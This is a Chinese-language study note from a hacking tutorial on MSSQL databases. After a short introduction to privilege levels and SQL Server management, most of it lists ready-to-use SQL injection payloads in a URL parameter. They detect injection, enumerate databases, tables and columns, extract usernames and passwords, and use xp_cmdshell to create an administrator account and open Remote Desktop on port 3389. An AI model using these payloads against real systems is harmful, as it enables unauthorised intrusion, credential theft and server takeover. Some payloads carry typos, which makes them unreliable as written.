某教程学习笔记(一):08、MSSQL数据库漏洞

简介: 某教程学习笔记(一):08、MSSQL数据库漏洞


一、MSSQL介绍


MSSQL商业,性能好,易用,企业支持好,有很多精度要高的类型,学校、政府、在线办公、游戏、棋牌等部门可能会用。


端口:1433


后缀:.mdf/.ldf


sa权限:数据库操作,文件管理,命令执行,注册表读取等,相当于win系统system


db权限:文件管理,数据库操作等,相当于win系统adminnstrators


public权限:数据库操作,相当于win系统guest


二、SQL SERVER 2005


1、安装成功,输入账号密码登陆

0a2653c851af460fa595bd959398a8f1.png

2、master、model、msdb、tempdb这四个数据库是系统自带数据库

0eacb84100b54626af849e6b562bf92a.png

3、右击数据库,新建数据库,自动生成两个文件

2d65d23f6d4748949b924e4057485923.png

4、双击展开新建的数据库,右击表,添加表,输入列名和数据类型,保存

2e9b90b2ca334476abebe75bafe6eeaa.png

5、右击新建的表,打开表,然后就可以添加我们的数据了

4cebaac233b3433da32a72337a77fc60.png

6、删除数据库,需要先右击要删除的数据库,选择任务,再选择分离,然后再进目录删除数据库


7、添加外来的数据库,先把数据库文件放进目录,然后右击数据数据库,选择附加


8、备份数据库,选择要备份的数据库右击,选择生成脚本,选择为服务器版本编写脚本(修改为自己要用的版本)


9、还原数据库,将导出的脚本里面的内容复制到sql语句,运行,就会和重新生成一个数据库,里面的内容和备份数据库的内容一样。


三、代码调用


<%


cctt = “provier=sqloledb;source=local;uid=sa;pwd=**;database=database1”


Set conn = Server.Createobject(“ADODB.Connection”)


conn.open cctt


%>


provider后面的不用管,照写; source后面的可以是ip地址,这里我用的是本地的;sa是内置的用户,它的密码是你在安装的时候设置的; database后面是你要连接的数据库的名称.


四、判断注入


and 1=1 返回正常


and 1=2 返回错误,说明有注入


and user>0 返回正常,说明是sqlserver注入


and (select count(*)from sysobjects)>0 mssql 返回正常,说明是sqlserver注入


猜数表名


and( select count()from[表名])>0


猜字段


and( select Count(字段名)from[表名])>0


猜字段中记录长度


and(select top1len(字段名)from表名)>0


猜字段的asc值( access)


and( (select top1 asc(mid(字段名,1,1)from表名)>0


猜字段的ascii值(mssql)


and( select top1 unicode(substring(字段名1,1)from表名)>0


测试权限结构( mssql)


and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));-- //判断是否是系统管理员


and 1=(select IS_SRVROLEMEMBERC(‘serveradmin’));–


and 1=(select IS_SRVROLEMEMBERC(‘setupadmin’));–


and 1=(select IS_SRVROLEMEMBERC(‘securityadmin’));–


and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–


and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’);–


and 1=(select is_srvrolemember(‘db_owner’));–//判断是否是库权限


and 1=(select is_srvrolemember(‘public’));–//判断是否是pubilc权限


and 1=convert(int,db_name())或1=(select db_name())//当前数据库名


and 1=(select @@servername)//本地服务名


and 1=(select HAS_DBACCESS(‘master’))//判断是否有库读取权限


猜版本号


id=1 and 1=(select @@version)


id=@@version


猜数据库名称


id=1 and 1=(select db_name())


id=db_name()


获取所有数据库


id=1 and 1=(select name from master…sysdatabases for xml path)


获取第一个用户数据库


id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4) #数据库是从第五个开始排的


获取下一个数据库


id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4 and name <>‘上面查出来的数据库’)


或者


id=1 and 1=(select top 1 name from master…sysdatabases where dbid>5) #一次类推


获取所有表


id=1 and 1=(select name from sysobjects for xml path)


获取第一张表


id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’)


获取下一张表


id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <>‘上面查出来的表’)


获取表users第一列列名uname


id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’))


获取表users第二列列名upass


id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’) and name <> ‘uname’)


依次往后爆破


获取表users第一个用户名


?id=1 and 1=(select top 1 uname from users)


获取密码


?id=1 and 1=(select top 1 upass from users)


五、利用xp_cmdshell添加用户


id=1 ;exec master…xp_cmdshell ‘net user username password /add’


id=1 ;exec master… xp_cmdshell ‘net localgroup administrators username /add’ 添加到管理员组


六、开启3389端口


id=1 ;exec master…xp_cmdshell ‘sc config termservice start=auto’


;exec master…xp_cmdshell ‘net start termservice’


;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /vfDenyTSConnections /t REG_DWORD/d 0x0/f’


禁止非法,后果自负


目录
相关文章
|
3月前
|
存储 SQL 关系型数据库
Mysql学习笔记(二):数据库命令行代码总结
这篇文章是关于MySQL数据库命令行操作的总结,包括登录、退出、查看时间与版本、数据库和数据表的基本操作(如创建、删除、查看)、数据的增删改查等。它还涉及了如何通过SQL语句进行条件查询、模糊查询、范围查询和限制查询,以及如何进行表结构的修改。这些内容对于初学者来说非常实用,是学习MySQL数据库管理的基础。
152 6
|
1天前
|
关系型数据库 MySQL API
新手教程:数据库操作(使用PDO或MySQLi扩展)
本文为新手介绍如何使用PDO和MySQLi扩展连接与操作MySQL数据库。PDO更现代灵活,支持多种数据库,适合大多数应用;MySQLi提供面向过程和面向对象两种API,适合直接控制数据库操作。教程涵盖安装配置、创建连接、执行查询(查询、插入、更新、删除)及错误处理等内容。希望这篇教程能帮助你快速上手PHP中的数据库操作!
45 32
|
3月前
|
SQL Ubuntu 关系型数据库
Mysql学习笔记(一):数据库详细介绍以及Navicat简单使用
本文为MySQL学习笔记,介绍了数据库的基本概念,包括行、列、主键等,并解释了C/S和B/S架构以及SQL语言的分类。接着,指导如何在Windows和Ubuntu系统上安装MySQL,并提供了启动、停止和重启服务的命令。文章还涵盖了Navicat的使用,包括安装、登录和新建表格等步骤。最后,介绍了MySQL中的数据类型和字段约束,如主键、外键、非空和唯一等。
82 3
Mysql学习笔记(一):数据库详细介绍以及Navicat简单使用
|
2月前
|
存储 机器学习/深度学习 监控
南大通用GBase 8s数据库onbar基础使用教程
数据备份与恢复是确保数据安全和业务连续性的关键。onbar作为GBase 8s数据库的备份工具,需配合存储管理器使用,通过配置BAR_BSALIB_PATH等参数,实现数据的备份与恢复。本文详细介绍了onbar的配置、备份、恢复及监控流程,帮助数据库管理员构建高效的数据保护方案。
|
3月前
|
存储 SQL 关系型数据库
【入门级教程】MySQL:从零开始的数据库之旅
本教程面向零基础用户,采用通俗易懂的语言和丰富的示例,帮助你快速掌握MySQL的基础知识和操作技巧。内容涵盖SQL语言基础(SELECT、INSERT、UPDATE、DELETE等常用语句)、使用索引提高查询效率、存储过程等。适合学生、开发者及数据库爱好者。
74 0
【入门级教程】MySQL:从零开始的数据库之旅
|
3月前
|
SQL NoSQL MongoDB
一款基于分布式文件存储的数据库MongoDB的介绍及基本使用教程
一款基于分布式文件存储的数据库MongoDB的介绍及基本使用教程
58 0
|
3月前
|
存储 NoSQL API
.NET NoSQL 嵌入式数据库 LiteDB 使用教程
.NET NoSQL 嵌入式数据库 LiteDB 使用教程~
|
13天前
|
存储 Oracle 关系型数据库
数据库传奇:MySQL创世之父的两千金My、Maria
《数据库传奇:MySQL创世之父的两千金My、Maria》介绍了MySQL的发展历程及其分支MariaDB。MySQL由Michael Widenius等人于1994年创建,现归Oracle所有,广泛应用于阿里巴巴、腾讯等企业。2009年,Widenius因担心Oracle收购影响MySQL的开源性,创建了MariaDB,提供额外功能和改进。维基百科、Google等已逐步替换为MariaDB,以确保更好的性能和社区支持。掌握MariaDB作为备用方案,对未来发展至关重要。
39 3
|
13天前
|
安全 关系型数据库 MySQL
MySQL崩溃保险箱:探秘Redo/Undo日志确保数据库安全无忧!
《MySQL崩溃保险箱:探秘Redo/Undo日志确保数据库安全无忧!》介绍了MySQL中的三种关键日志:二进制日志(Binary Log)、重做日志(Redo Log)和撤销日志(Undo Log)。这些日志确保了数据库的ACID特性,即原子性、一致性、隔离性和持久性。Redo Log记录数据页的物理修改,保证事务持久性;Undo Log记录事务的逆操作,支持回滚和多版本并发控制(MVCC)。文章还详细对比了InnoDB和MyISAM存储引擎在事务支持、锁定机制、并发性等方面的差异,强调了InnoDB在高并发和事务处理中的优势。通过这些机制,MySQL能够在事务执行、崩溃和恢复过程中保持
42 3
|
13天前
|
SQL 关系型数据库 MySQL
数据库灾难应对:MySQL误删除数据的救赎之道,技巧get起来!之binlog
《数据库灾难应对:MySQL误删除数据的救赎之道,技巧get起来!之binlog》介绍了如何利用MySQL的二进制日志(Binlog)恢复误删除的数据。主要内容包括: 1. **启用二进制日志**:在`my.cnf`中配置`log-bin`并重启MySQL服务。 2. **查看二进制日志文件**:使用`SHOW VARIABLES LIKE &#39;log_%&#39;;`和`SHOW MASTER STATUS;`命令获取当前日志文件及位置。 3. **创建数据备份**:确保在恢复前已有备份,以防意外。 4. **导出二进制日志为SQL语句**:使用`mysqlbinlog`
54 2